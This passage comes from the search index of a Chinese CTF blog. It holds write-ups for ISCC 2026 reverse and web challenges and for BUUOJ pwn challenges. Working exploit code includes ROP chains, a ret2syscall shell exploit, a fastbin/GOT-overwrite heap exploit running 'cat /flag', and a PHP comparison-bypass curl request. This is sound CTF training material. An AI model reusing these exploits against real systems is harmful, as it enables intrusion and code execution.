= b ^ key[i % 8]; b = (b - i) \u0026amp; 0xff; b = ror8(b, 2) ^ 0x55; 八、解题脚本 const = [ 0xC1, 0x8D, 0xA9, 0x81, 0x8F, 0x88, 0xFB, 0xE5, 0x4A, 0xF1, 0xB5, 0x38, 0x80, 0xDD, 0x67, 0x89, 0x3E, 0xC9, 0xC9, 0x89, 0x3B, 0x80, 0x2C, 0xF5, 0x6E, 0xFD, 0x7D, 0x21, 0x5F, 0x80, 0xFC, 0xA9, 0x72, 0xFC, 0x82, 0x79 ] key = [0x12, 0x34, 0x56, 0x78, 0x90, 0xAB, 0xCD, 0xEF] def ror8(x, n): return ((x \u0026gt;\u0026gt; n) | ((x \u0026lt;\u0026lt; (8 - n)) \u0026amp; 0xff)) \u0026amp; 0xff flag = [] for i, c in enumerate(const): x = c ^ ((i + 0x20) \u0026amp; 0xff) x = (x - 0x7f) \u0026amp; 0xff x ^= key[i % 8] x = (x - i) \u0026amp; 0xff x = ror8(x, 2) ^ 0x55 flag.append(chr(x)) print(\u0026#39;\u0026#39;.join(flag)) 运行结果：\nISCC{u6\u0026lt;/LN-9\u0026amp;+;6ZSYnwE0\u0026gt;CtgCKI#5/(} 九、验证 将结果输入程序，输出：\nCorrect. 说明恢复出的输入正确。\n十、最终 flag ISCC{u6\u0026lt;/LN-9\u0026amp;+;6ZSYnwE0\u0026gt;CtgCKI#5/(} 十一、简要总结 这题的关键点有三个：\n输入长度固定为 36。\n输入先经过三轮字节级变换。\n真正的校验逻辑被动态解密，并且夹带双重反调试。\n虽然外层看起来比较复杂，但本质上最终仍然只是“变换后与常量比较”。 因此只要把动态解密出的比较逻辑提出来，再逆变换恢复原始输入，即可拿到 flag。\n附件下载 Dual Protection.zip ","date":"May 4, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/iscc-2026/reverse/dual-protection/","smallImg":"","tags":[{"title":"ISCC2026","url":"/tags/iscc2026/"}],"timestamp":1777852800,"title":"Dual Protection"},{"categories":[{"title":"ISCC2026","url":"/categories/iscc2026/"}],"content":"在字符串里可以直接看到目标比较值：\n000A9CD32B9E4D0D563A190E6B2DC2923ADA53F5BEF22A7A 主逻辑里一共用了 4 个数字：\n344, 21, 89, 233 对 {} 内的内容依次进行：\nRC4(key=\u0026quot;344\u0026quot;) 与 \u0026quot;21\u0026quot; 循环异或 与 \u0026quot;89\u0026quot; 循环逐字节相加 用 SHA256(\u0026quot;233\u0026quot;) 的前 16 字节作为 TEA key 加密 转大写十六进制后与目标常量比较 因此只需要逆向还原：\n目标 hex 转字节 TEA 解密 去填充 循环减去 \u0026quot;89\u0026quot; 循环异或 \u0026quot;21\u0026quot; RC4 解密，key=\u0026quot;344\u0026quot; 还原后得到明文：\ndeaIoihuwuasyIleolyclrt 所以最终 flag 为：\nISCC{deaIoihuwuasyIleolyclrt} 附件下载 Where\u0026rsquo;s bunny.zip ","date":"May 3, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/iscc-2026/reverse/wheres-bunny/","smallImg":"","tags":[{"title":"ISCC2026","url":"/tags/iscc2026/"}],"timestamp":1777766400,"title":"where's bunny"},{"categories":[{"title":"ISCC2026","url":"/categories/iscc2026/"}],"content":"源码泄露了一个入口\nhttp://39.105.213.28:12601/?source=1 拿到关键代码后，可知有三层校验。\n第一层：\n$filtered = str_replace(\u0026#34;key\u0026#34;, \u0026#34;\u0026#34;, $_GET[\u0026#39;step1\u0026#39;]); if ($filtered === \u0026#34;key\u0026#34;) 这里利用重叠绕过，构造：\nstep1=kkeyey 因为：\nstr_replace(\u0026#34;key\u0026#34;, \u0026#34;\u0026#34;, \u0026#34;kkeyey\u0026#34;) === \u0026#34;key\u0026#34; 第二层：\n$a = $_POST[\u0026#39;a\u0026#39;] ?? null; $obj_a = (object)$a; $user_key = $obj_a-\u0026gt;key; if (isset($user_key) \u0026amp;\u0026amp; $user_key === \u0026#34;1337\u0026#34;) 所以 POST 传：\na[key]=1337 数组转对象后即可满足 $obj_a-\u0026gt;key === \u0026quot;1337\u0026quot;。\n第三层：\n$val_a = $_GET[\u0026#39;a\u0026#39;] ?? \u0026#34;\u0026#34;; $val_b = $_GET[\u0026#39;b\u0026#39;] ?? \u0026#34;\u0026#34;; if ($val_a !== \u0026#34;\u0026#34; \u0026amp;\u0026amp; $val_b !== \u0026#34;\u0026#34; \u0026amp;\u0026amp; $val_a !== $val_b) { if (md5($val_a) == md5($val_b)) { echo $flag; } } 这里是典型 MD5 魔术哈希弱比较，使用：\na=QNKCDZO b=240610708 对应 md5 为：\nmd5(\u0026#34;QNKCDZO\u0026#34;) = 0e830400451993494058024219903391 md5(\u0026#34;240610708\u0026#34;) = 0e462097431906509019562988736854 两者在 == 比较下都会被当作数字 0，因此条件成立。\n最终利用\ncurl \u0026#39;http://39.105.213.28:12601/?step1=kkeyey\u0026amp;a=QNKCDZO\u0026amp;b=240610708\u0026#39; \\ -X POST \\ -d \u0026#39;a[key]=1337\u0026#39; Flag\nISCC{kEDVBedpWYPYtNWSEDnwMDcz6} ","date":"May 3, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/iscc-2026/web/%E6%B6%88%E5%A4%B1%E7%9A%84%E5%AF%86%E9%92%A5/","smallImg":"","tags":[{"title":"ISCC2026","url":"/tags/iscc2026/"}],"timestamp":1777766400,"title":"消失的密钥"},{"categories":[{"title":"专题","url":"/categories/%E4%B8%93%E9%A2%98/"}],"content":"这里收录 2026校赛 相关题解、比赛笔记和利用过程。\n进入 2026校赛专题\n","date":"April 28, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/posts/contest-2026/","smallImg":"","tags":[{"title":"校赛","url":"/tags/%E6%A0%A1%E8%B5%9B/"}],"timestamp":1777334400,"title":"2026校赛"},{"categories":[{"title":"专题","url":"/categories/%E4%B8%93%E9%A2%98/"}],"content":"这里是 BUUOJ PWN 题解专题入口。\n点击进入分层目录：\n进入 BUU 专题\n","date":"April 27, 2026","img":"/posts/buu/cover.png","lang":"en","langName":"","largeImg":"/posts/buu/cover_hu_cb19ea0e6a49db7b.png","permalink":"/posts/buu/","smallImg":"/posts/buu/cover_hu_74dbcc7f1bb2fb00.png","tags":[{"title":"BUU","url":"/tags/buu/"}],"timestamp":1777248000,"title":"BUU"},{"categories":[],"content":"我是微风的龙，你也可以叫我哈基龙，这里是我的个人博客。\n这个站点主要用来记录：\n平时自己做题时产出的 wp 学习时掉落的小笔记 一些比赛时的 wp 和附件 一些奇奇怪怪神秘的东西 目前还在慢慢学 PWN，爱好不详，年龄看内容猜，平时喜欢游玩的景点是提瓦特。\n","date":"April 27, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/about/","smallImg":"","tags":[],"timestamp":1777248000,"title":"关于"},{"categories":[{"title":"建站","url":"/categories/%E5%BB%BA%E7%AB%99/"}],"content":"这是博客的第一篇文章。\n我已经完成了站点主题接入、本地构建验证，以及 GitHub Pages 的发布准备。接下来会继续完善内容、导航和页面样式。\n如果你现在能看到这篇文章，说明博客已经具备可访问的基础版本。\n","date":"April 27, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/posts/hello-hugo/","smallImg":"","tags":[{"title":"Hugo","url":"/tags/hugo/"},{"title":"GitHub Pages","url":"/tags/github-pages/"},{"title":"Blog","url":"/tags/blog/"}],"timestamp":1777248000,"title":"博客已上线"},{"categories":[{"title":"BUU","url":"/categories/buu/"}],"content":"Pasted image 20260421190124.png 直接去问ROPgadget要ropchain\np = b\u0026#39;\u0026#39; p += pack(\u0026#39;\u0026lt;I\u0026#39;, 0x0806e82a) # pop edx ; ret p += pack(\u0026#39;\u0026lt;I\u0026#39;, 0x080ea060) # @ .data p += pack(\u0026#39;\u0026lt;I\u0026#39;, 0x080bae06) # pop eax ; ret p += b\u0026#39;/bin\u0026#39; p += pack(\u0026#39;\u0026lt;I\u0026#39;, 0x0809a15d) # mov dword ptr [edx], eax ; ret p += pack(\u0026#39;\u0026lt;I\u0026#39;, 0x0806e82a) # pop edx ; ret p += pack(\u0026#39;\u0026lt;I\u0026#39;, 0x080ea064) # @ .data + 4 p += pack(\u0026#39;\u0026lt;I\u0026#39;, 0x080bae06) # pop eax ; ret p += b\u0026#39;//sh\u0026#39; p += pack(\u0026#39;\u0026lt;I\u0026#39;, 0x0809a15d) # mov dword ptr [edx], eax ; ret p += pack(\u0026#39;\u0026lt;I\u0026#39;, 0x0806e82a) # pop edx ; ret p += pack(\u0026#39;\u0026lt;I\u0026#39;, 0x080ea068) # @ .data + 8 p += pack(\u0026#39;\u0026lt;I\u0026#39;, 0x08054250) # xor eax, eax ; ret p += pack(\u0026#39;\u0026lt;I\u0026#39;, 0x0809a15d) # mov dword ptr [edx], eax ; ret p += pack(\u0026#39;\u0026lt;I\u0026#39;, 0x080481c9) # pop ebx ; ret p += pack(\u0026#39;\u0026lt;I\u0026#39;, 0x080ea060) # @ .data p += pack(\u0026#39;\u0026lt;I\u0026#39;, 0x0806e851) # pop ecx ; pop ebx ; ret p += pack(\u0026#39;\u0026lt;I\u0026#39;, 0x080ea068) # @ .data + 8 p += pack(\u0026#39;\u0026lt;I\u0026#39;, 0x080ea060) # padding without overwrite ebx p += pack(\u0026#39;\u0026lt;I\u0026#39;, 0x0806e82a) # pop edx ; ret p += pack(\u0026#39;\u0026lt;I\u0026#39;, 0x080ea068) # @ .data + 8 p += pack(\u0026#39;\u0026lt;I\u0026#39;, 0x08054250) # xor eax, eax ; ret p += pack(\u0026#39;\u0026lt;I\u0026#39;, 0x0807b27f) # inc eax ; ret p += pack(\u0026#39;\u0026lt;I\u0026#39;, 0x0807b27f) # inc eax ; ret p += pack(\u0026#39;\u0026lt;I\u0026#39;, 0x0807b27f) # inc eax ; ret p += pack(\u0026#39;\u0026lt;I\u0026#39;, 0x0807b27f) # inc eax ; ret p += pack(\u0026#39;\u0026lt;I\u0026#39;, 0x0807b27f) # inc eax ; ret p += pack(\u0026#39;\u0026lt;I\u0026#39;, 0x0807b27f) # inc eax ; ret p += pack(\u0026#39;\u0026lt;I\u0026#39;, 0x0807b27f) # inc eax ; ret p += pack(\u0026#39;\u0026lt;I\u0026#39;, 0x0807b27f) # inc eax ; ret p += pack(\u0026#39;\u0026lt;I\u0026#39;, 0x0807b27f) # inc eax ; ret p += pack(\u0026#39;\u0026lt;I\u0026#39;, 0x0807b27f) # inc eax ; ret p += pack(\u0026#39;\u0026lt;I\u0026#39;, 0x0807b27f) # inc eax ; ret p += pack(\u0026#39;\u0026lt;I\u0026#39;, 0x080493e1) # int 0x80 但实际上这是不行的，因为只给了100个字节的输入。 同时这里没有system和binsh 尝试ret2libc 这个显然也是不可以的 最后选择了ret2syscall\nfrom pwn import * context.arch = \u0026#39;i386\u0026#39; context.os = \u0026#39;linux\u0026#39; context.log_level = \u0026#39;debug\u0026#39; #io = process(\u0026#39;./pwn\u0026#39;) io = remote(\u0026#39;node5.buuoj.cn\u0026#39;, 27926) read_addr = 0x806cd50 bss = 0x80eaf80 pop_eax = 0x80bae06 pop_edx_ecx_ebx = 0x806e850 int_80 = 0x806eef0 offset = 32 payload = flat( b\u0026#39;A\u0026#39; * offset, read_addr, pop_edx_ecx_ebx, # read 返回后清理 3 个参数 0, # fd bss, # buf 8, # size pop_eax, 11, # eax = __NR_execve pop_edx_ecx_ebx, 0, # edx = 0 0, # ecx = 0 bss, # ebx = \u0026#34;/bin/sh\\x00\u0026#34; int_80 ) io.sendafter(b\u0026#39;Your input :\u0026#39;, payload) io.send(b\u0026#39;/bin/sh\\x00\u0026#39;) io.interactive() ","date":"April 23, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/buu/%E7%AC%AC%E4%BA%8C%E9%A1%B5/2-4/2-4-2/wp/","smallImg":"","tags":[{"title":"BUU","url":"/tags/buu/"}],"timestamp":1776902400,"title":"wp"},{"categories":[{"title":"BUU","url":"/categories/buu/"}],"content":" cmcc_simplerop解题ROP链原理及作用分析 在cmcc_simplerop题目中，ROP链的核心原理是利用静态编译特性和ret2syscall技术直接触发系统调用获取shell。以下是详细解析：\nROP链原理 静态编译优势：\n程序静态编译包含所有库函数代码（如syscall指令、pop指令等） 无需泄露libc地址，可直接在二进制中搜索所需gadget 存在现成的/bin/sh字符串（地址0x080BE408） ret2syscall技术：\n通过ROP链设置寄存器直接触发int 0x80系统调用 32位系统调用约定： eax = 系统调用号（execve为0xb） ebx = 参数字符串地址（/bin/sh） ecx = 参数数组地址 edx = 环境变量地址（可设为0） ROP链构造步骤 from pwn import * # Gadget地址（通过ROPgadget获取） pop_eax = 0x080bae06 # pop eax; ret pop_edx_ecx_ebx = 0x0806ecda # pop edx; pop ecx; pop ebx; ret int_0x80 = 0x080493e1 # int 0x80; ret bin_sh = 0x080BE408 # \u0026#34;/bin/sh\u0026#34;字符串地址 offset = 44 # 缓冲区到返回地址的偏移 payload = flat( b\u0026#39;A\u0026#39; * offset, # 填充缓冲区 pop_eax, # 设置eax 0xb, # execve系统调用号 pop_edx_ecx_ebx, # 设置其他寄存器 0, # edx=0 (环境变量) 0, # ecx=0 (参数数组) bin_sh, # ebx=/bin/sh地址 int_0x80 # 触发系统调用 ) 关键gadget作用 Gadget指令 地址 作用 pop eax; ret 0x080bae06 设置系统调用号到eax寄存器 pop edx; pop ecx; pop ebx; ret 0x0806ecda 一次性设置三个寄存器 int 0x80; ret 0x080493e1 触发系统调用执行execve(\u0026quot;/bin/sh\u0026quot;) 栈布局示意图 +------------------+ | 填充数据(44字节) | +------------------+ | pop_eax地址 | ← 覆盖返回地址 +------------------+ | 0xb (eax) | +------------------+ | pop_edx_ecx_ebx | +------------------+ | 0 (edx) | +------------------+ | 0 (ecx) | +------------------+ | bin_sh (ebx) | +------------------+ | int_0x80地址 | +------------------+ 为何选择ret2syscall 效率优势：\n只需5个gadget即可完成系统调用 比传统ret2libc少一次函数调用 静态编译特性：\n所有syscall指令已包含在二进制中 无需动态解析libc地址 防御绕过：\n直接使用程序自身的gadget 不受ASLR影响（.text段无随机化） 实际效果 执行该ROP链后：\n触发execve(\u0026quot;/bin/sh\u0026quot;, NULL, NULL)系统调用 启动shell获得系统控制权 可执行任意命令（如cat flag） ","date":"April 21, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/buu/%E7%AC%AC%E4%BA%8C%E9%A1%B5/2-4/2-4-2/ret2syscall/","smallImg":"","tags":[{"title":"BUU","url":"/tags/buu/"}],"timestamp":1776729600,"title":"ret2syscall"},{"categories":[{"title":"BUU","url":"/categories/buu/"}],"content":"Pasted image 20260421184217.png 简单栈溢出\nfrom pwn import * elf = ELF(\u0026#39;./pwn\u0026#39;) context.terminal = [\u0026#39;tmux\u0026#39;, \u0026#39;splitw\u0026#39;, \u0026#39;-h\u0026#39;] context(log_level=\u0026#39;debug\u0026#39;, arch=\u0026#39;i386\u0026#39;, os=\u0026#39;linux\u0026#39;) select = 1 if select == 0: r = process( \u0026#39;./pwn\u0026#39; ) #libc = ELF(local_libc) else: r=remote(\u0026#39;node5.buuoj.cn\u0026#39;,29621) #libc = ELF(remote_libc) #elf = ELF(local_file) def dbg(): gdb.attach(p) pause() win = 0x080485CB offset = 108 + 4 a1 = 0xDEADBEEF a2 = 0xDEADC0DE main = 0x0804866D payload = b\u0026#39;A\u0026#39; * offset + p32(win) + p32(main) + p32(a1) + p32(a2) r.sendlineafter(b\u0026#34;Please enter your string: \u0026#34;, payload) r.interactive() ","date":"April 21, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/buu/%E7%AC%AC%E4%BA%8C%E9%A1%B5/2-4/2-4-1/wp/","smallImg":"","tags":[{"title":"BUU","url":"/tags/buu/"}],"timestamp":1776729600,"title":"wp"},{"categories":[{"title":"BUU","url":"/categories/buu/"}],"content":" easyheap 只改 magic 触发 4869 题目信息 程序提供 create、edit、delete 三个堆操作。\nedit 存在堆溢出，因为它会直接使用用户输入的 size 去 read，不检查是否超过原 chunk 大小。\n主程序里有一个隐藏分支：\nif (choice == 4869) { if ((unsigned long long)magic \u0026lt;= 0x1305) { puts(\u0026#34;So sad !\u0026#34;); } else { puts(\u0026#34;Congrt !\u0026#34;); l33t(); } } 目标就是把全局变量 magic 改成大于 0x1305 的值，然后发送 4869。\n关键地址 magic = 0x6020c0 heaparray = 0x6020e0 fake_chunk = 0x6020ad 这里 fake_chunk = 0x6020ad 很关键。\n原因是这题可以把 fastbin 的 fd 指针劫持到 .bss 附近，而 0x6020ad 这个位置错位后恰好能伪造出一个可用的 fake chunk。随后再次 malloc，就能把一块“堆块”分配到 .bss 上。\n漏洞点 edit_heap 的核心逻辑是：\nprintf(\u0026#34;Size of Heap : \u0026#34;); read(0, buf, 8); size = atoi(buf); printf(\u0026#34;Content of heap : \u0026#34;); read_input(heaparray[idx], size); 这里的 size 完全由用户控制，所以可以对相邻 chunk 做堆溢出。\n利用思路 1. 申请三个 fastbin 大小的 chunk 申请 3 个 0x60 的 chunk：\nchunk0\nchunk1\nchunk2\n它们在堆上是连续的，0x60 请求大小对应的实际 chunk size 是 0x70，会进入同一个 fastbin。\n2. 释放 chunk2 先把 chunk2 释放，让它进入 fastbin。\n3. 利用 chunk1 溢出改写 chunk2 的元数据 从 chunk1 溢出到已经 free 的 chunk2：\npayload = b\u0026#34;B\u0026#34; * 0x60 payload += p64(0) payload += p64(0x71) payload += p64(0x6020ad) 含义：\nb\u0026quot;B\u0026quot; * 0x60 填满 chunk1 的用户数据区\np64(0) 覆盖 chunk2-\u0026gt;prev_size\np64(0x71) 保持 chunk2-\u0026gt;size 为 fastbin 大小\np64(0x6020ad) 把 chunk2-\u0026gt;fd 改成我们伪造的 fake chunk\n这样 fastbin 链表就变成：\nchunk2 -\u0026gt; fake_chunk(0x6020ad) 4. 连续 malloc 两次 第一次 malloc(0x60) 会拿回真正的 chunk2。 第二次 malloc(0x60) 会返回伪造出来的 fake chunk。\nfake chunk 的用户区地址是：\n0x6020ad + 0x10 = 0x6020bd 而 magic 在：\n0x6020c0 两者相差正好 3 字节，所以只要写：\npayload = b\u0026#34;\\x00\u0026#34; * 3 + p64(0x1306) 就能把 magic 精确改成 0x1306。\nexp from pwn import * context.binary = elf = ELF(\u0026#34;./easyheap\u0026#34;) context.arch = \u0026#34;amd64\u0026#34; context.os = \u0026#34;linux\u0026#34; context.log_level = \u0026#34;debug\u0026#34; def start(): return process(elf.path) # return remote(\u0026#34;node5.buuoj.cn\u0026#34;, 28980) io = start() fake_chunk = 0x6020AD magic = elf.symbols[\u0026#34;magic\u0026#34;] def add(size, content): io.sendlineafter(b\u0026#34;Your choice :\u0026#34;, b\u0026#34;1\u0026#34;) io.sendlineafter(b\u0026#34;Size of Heap :\u0026#34;, str(size).encode()) io.sendafter(b\u0026#34;Content of heap:\u0026#34;, content) def edit(index, size, content): io.sendlineafter(b\u0026#34;Your choice :\u0026#34;, b\u0026#34;2\u0026#34;) io.sendlineafter(b\u0026#34;Index :\u0026#34;, str(index).encode()) io.sendlineafter(b\u0026#34;Size of Heap :\u0026#34;, str(size).encode()) io.sendafter(b\u0026#34;Content of heap : \u0026#34;, content) def delete(index): io.sendlineafter(b\u0026#34;Your choice :\u0026#34;, b\u0026#34;3\u0026#34;) io.sendlineafter(b\u0026#34;Index :\u0026#34;, str(index).encode()) add(0x60, b\u0026#34;A\u0026#34; * 8) # 0 add(0x60, b\u0026#34;B\u0026#34; * 8) # 1 add(0x60, b\u0026#34;C\u0026#34; * 8) # 2 delete(2) payload = b\u0026#34;B\u0026#34; * 0x60 payload += p64(0) payload += p64(0x71) payload += p64(fake_chunk) edit(1, len(payload), payload) add(0x60, b\u0026#34;D\u0026#34; * 8) # 2 add(0x60, b\u0026#34;\\x00\u0026#34; * 3 + p64(0x1306)) # 3 io.sendlineafter(b\u0026#34;Your choice :\u0026#34;, b\u0026#34;4869\u0026#34;) io.interactive() 总结 这题如果本地 l33t() 能直接 cat flag，最短利用链不是泄漏 libc，也不是改 __malloc_hook，而是：\n利用 edit 做堆溢出 做一次 fastbin attack 把 fake chunk 分配到 .bss 覆写 magic 输入 4869 同时，fake_chunk的位置是这么得来的： fake_chunk = 0x6020ad 不是程序里现成的变量名，而是攻击者自己选出来的一个 .bss 地址，用来“伪造一个 fastbin chunk”。\n核心原因只有一句：\n我们想让第二次 malloc(0x60) 返回一块落在 .bss 上、并且它的用户区正好覆盖 magic(0x6020c0) 的内存。\n对 0x60 请求来说，glibc 实际分配的 chunk size 是 0x70，对应 fastbin size 字段一般是 0x71。malloc 从 fastbin 取块时，会把拿到的 chunk 指针 p 转成用户区指针 p + 0x10 返回。\n所以如果我们想让“返回的用户区”落到 magic 附近，就得反推这个 fake chunk 头应该放哪：\nmagic = 0x6020c0 returned_ptr = fake_chunk + 0x10 如果直接想让返回地址等于 magic，那就是：\nfake_chunk = 0x6020c0 - 0x10 = 0x6020b0 但实际 fastbin attack 常常不会选这种完全对齐的位置，而是选一个“错位地址”，让 fake chunk 的 size 字段在内存里的某个字节布局刚好能骗过检查。这里常用的是：\nfake_chunk = 0x6020ad 这样返回的用户区就是：\n0x6020ad + 0x10 = 0x6020bd 而：\n0x6020c0 - 0x6020bd = 3 所以只要往这块“伪造出来的 chunk”里写：\nb\u0026#34;\\x00\u0026#34;*3 + p64(0x1306) 就能把第 4 个字节开始的 8 字节，正好写到 magic 上。\n也就是说，0x6020ad 的来源是：\n先锁定目标地址 magic = 0x6020c0 知道 malloc 返回的是 chunk + 0x10 结合 fake chunk 的 size / 对齐检查，选一个能通过检查、又能让用户区覆盖 magic 的错位地址 这个地址在这题里就是 0x6020ad 简化理解就是：\n0x6020c0 是目标 0x6020ad 是为了让 malloc “吐”出一块能覆盖这个目标的假 chunk 头地址 ","date":"April 17, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/buu/%E7%AC%AC%E4%BA%8C%E9%A1%B5/2-3/2-3-3/codex/","smallImg":"","tags":[{"title":"BUU","url":"/tags/buu/"}],"timestamp":1776384000,"title":"codex"},{"categories":[{"title":"BUU","url":"/categories/buu/"}],"content":"# [ZJCTF 2019] EasyHeap WP ## 题目分析 程序提供 3 个基本堆操作： - `create` - `edit` - `delete` 保护如下： - Partial RELRO - Canary - NX - No PIE 因为没有 PIE，所以程序内的全局变量、GOT 地址都是固定的；又因为是 Partial RELRO，所以 GOT 可写，适合做 GOT 劫持。 --- ## 程序关键点 程序里有一个全局数组 `heaparray`，地址为： ```text heaparray = 0x6020e0 它本质上就是一个保存堆块指针的数组，可以理解为：\nchar *heaparray[10]; 申请堆块时：\nheaparray[i] = malloc(size); 编辑堆块时：\nread(0, heaparray[i], size); 删除堆块时：\nfree(heaparray[i]); heaparray[i] = 0; 所以如果我们能改掉 heaparray[i] 的值，就等于控制了菜单功能实际操作的地址。\n漏洞点 漏洞在 edit_heap：\nprintf(\u0026#34;Size of Heap : \u0026#34;); read(0, buf, 8); size = atoi(buf); printf(\u0026#34;Content of heap : \u0026#34;); read_input(heaparray[idx], size); 这里的问题是：\nsize 由用户自己输入 程序不会检查这个 size 是否超过原 chunk 实际大小 所以存在 heap overflow，可以从当前 chunk 溢出覆盖下一个 chunk 的元数据。 为什么不走后门 程序里有隐藏菜单 4869，会检查全局变量 magic，如果满足条件就进入 l33t()。 但远程实际测试发现，l33t() 执行的是：\nsystem(\u0026#34;cat /home/pwn/flag\u0026#34;); 而这台远程机器的 flag 实际在 /flag，所以即使打通后门，也拿不到真正的 flag。 因此更稳妥的做法是直接构造 任意命令执行。\n利用思路 整体思路：\n利用 edit 的堆溢出改掉 fastbin 链表 构造 fake chunk 到 .bss 覆盖 heaparray[0] 让 heaparray[0] = free@got 再通过 edit(0, ...) 把 free@got 改成 system@plt 把某个 chunk 的内容改成 cat /flag\\x00 调用 delete(idx)，实际就会变成 system(\u0026quot;cat /flag\u0026quot;) 关键地址 heaparray = 0x6020e0 fake_chunk = 0x6020ad free_got = elf.got[\u0026#39;free\u0026#39;] system_plt = elf.plt[\u0026#39;system\u0026#39;] 利用过程 1. 申请 3 个 fastbin chunk 申请 3 个 0x60 大小的 chunk：\nadd(0x60, b\u0026#39;happy\u0026#39;) # 0 add(0x60, b\u0026#39;pad\u0026#39;) # 1 add(0x60, b\u0026#39;happy\u0026#39;) # 2 这里 0x60 对应的实际 chunk size 是 0x70，属于 fastbin。\n2. 释放 chunk2 delete(2) 这样 chunk2 进入 fastbin。\n3. 溢出 chunk1，篡改 chunk2 的 fd 利用 edit(1, ...) 溢出到已经 free 的 chunk2：\npayload = b\u0026#39;A\u0026#39; * 0x60 + p64(0) + p64(0x71) + p64(0x6020ad) edit(1, len(payload), payload) 这里含义是：\nb'A' * 0x60 填满 chunk1 p64(0) 覆盖下一个 chunk 的 prev_size p64(0x71) 保持下一个 chunk 的 size 为合法 fastbin 大小 p64(0x6020ad) 把 chunk2-\u0026gt;fd 改成 fake chunk 此时 fastbin 链表变成： chunk2 -\u0026gt; 0x6020ad 4. 连续 malloc 两次，拿到 fake chunk add(0x60, b\u0026#39;happy\u0026#39;) # 2 add(0x60, b\u0026#39;A\u0026#39; * 0x23 + p64(elf.got[\u0026#39;free\u0026#39;])) # 3 第一次 malloc 取回真正的 chunk2。\n第二次 malloc 返回 fake chunk 对应的用户区。\n为什么是 0x6020ad malloc 返回的是：\nchunk + 0x10 所以 fake chunk 的用户区起点是：\n0x6020ad + 0x10 = 0x6020bd 而：\nheaparray = 0x6020e0 两者差值：\n0x6020e0 - 0x6020bd = 0x23 所以：\nb\u0026#39;A\u0026#39; * 0x23 + p64(elf.got[\u0026#39;free\u0026#39;]) 的含义就是：\n前 0x23 字节填充 后面的 p64(free@got) 正好写到 heaparray[0] 也就是说，这一步执行完后： heaparray[0] = free@got 5. 劫持 free@got 既然 heaparray[0] 已经被改成了 free@got，那么： heaparray指向的是我们要修改内容的的地址。\nedit(0, 8, p64(elf.plt[\u0026#39;system\u0026#39;])) 表面上是在编辑第 0 个堆块，实际上是在写：\nfree@got = system@plt 于是后面程序中的：\nfree(ptr) 都会变成：\nsystem(ptr) 6. 把 chunk1 改成命令字符串 edit(1, len(b\u0026#39;cat /flag\\x00\u0026#39;), b\u0026#39;cat /flag\\x00\u0026#39;) 把 chunk1 的内容改成：\ncat /flag 7. 触发 system(“cat /flag”) delete(1) 原本这句是：\nfree(heaparray[1]); 但由于我们已经把 free@got 改成了 system@plt，所以现在实际执行的是：\nsystem(heaparray[1]); 也就是：\nsystem(\u0026#34;cat /flag\u0026#34;) 从而拿到 flag。\nEXP from pwn import * context.binary = elf = ELF(\u0026#39;./easyheap\u0026#39;) context.arch = \u0026#39;amd64\u0026#39; context.os = \u0026#39;linux\u0026#39; context.log_level = \u0026#39;debug\u0026#39; io = remote(\u0026#39;node5.buuoj.cn\u0026#39;, 27663) def add(size, content): io.sendlineafter(b\u0026#39;Your choice :\u0026#39;, b\u0026#39;1\u0026#39;) io.sendlineafter(b\u0026#39;Size of Heap : \u0026#39;, str(size).encode()) io.sendafter(b\u0026#39;Content of heap:\u0026#39;, content) def edit(index, size, content): io.sendlineafter(b\u0026#39;Your choice :\u0026#39;, b\u0026#39;2\u0026#39;) io.sendlineafter(b\u0026#39;Index :\u0026#39;, str(index).encode()) io.sendlineafter(b\u0026#39;Size of Heap : \u0026#39;, str(size).encode()) io.sendafter(b\u0026#39;Content of heap : \u0026#39;, content) def delete(index): io.sendlineafter(b\u0026#39;Your choice :\u0026#39;, b\u0026#39;3\u0026#39;) io.sendlineafter(b\u0026#39;Index :\u0026#39;, str(index).encode()) add(0x60, b\u0026#39;happy\u0026#39;) # 0 add(0x60, b\u0026#39;pad\u0026#39;) # 1 add(0x60, b\u0026#39;happy\u0026#39;) # 2 delete(2) payload = b\u0026#39;A\u0026#39; * 0x60 + p64(0) + p64(0x71) + p64(0x6020ad) edit(1, len(payload), payload) add(0x60, b\u0026#39;happy\u0026#39;) # 2 add(0x60, b\u0026#39;A\u0026#39; * 0x23 + p64(elf.got[\u0026#39;free\u0026#39;])) # 3 edit(0, 8, p64(elf.plt[\u0026#39;system\u0026#39;])) edit(1, len(b\u0026#39;cat /flag\\x00\u0026#39;), b\u0026#39;cat /flag\\x00\u0026#39;) delete(1) io.interactive() 最终结果 远程返回：\nflag{0ad2171d-510e-4e55-b77c-9b01eae59302} 总结 这题核心是两点：\nedit 可控长度导致 heap overflow 利用 fastbin attack 把 fake chunk 打到 .bss，进而覆盖 heaparray 控制 heaparray 后，就能把菜单接口变成任意地址写。\n最终通过把 free@got 改成 system@plt，实现任意命令执行并读取 /flag。 ","date":"April 17, 2026","img":"","lang":"en","langName":"","largeImg":"","permalink":"/buu/%E7%AC%AC%E4%BA%8C%E9%A1%B5/2-3/2-3-3/codex%E9%80%9A%E8%A7%A3/","smallImg":"","tags":[{"title":"BUU","url":"/tags/buu/"}],"timestamp":1776384000,"title":"codex通解"},{"categories":[{"title":"BUU","url":"/categories/buu/"}],"content":"一道堆溢出，看起来跟2-2-2差不多，可以借鉴一下，应该也是UAF 先来看一下他给的 Pasted image 20260417084008.png main里面大部分都是好的，有一个部分如下：\nif ( v3 == 4869 ) { if ( magic \u0026lt;= (unsigned __int64)\u0026#39;\\x13\\x05\u0026#39; ) //\\x13\\x05就是4869 { puts(\u0026#34;So sad !\u0026#34;); } else { puts(\u0026#34;Congrt !\u0026#34;); l33t(); //这个函数会直接给flag } } 来写基本的函数：\ndef create(size,content): r.sendlineafter(b\u0026#34;Your choice :\u0026#34;,b\u0026#39;1\u0026#39;) r.sendlineafter(b\u0026#34;Size of Heap :\u0026#34;,str(size)) #不行就把str删了 r.sendlineafter(b\u0026#39;Content of heap:\u0026#39;,content) def edit(index,size,content): r.sendlineafter(b\u0026#34;Your choice :\u0026#34;,b\u0026#39;2\u0026#39;) 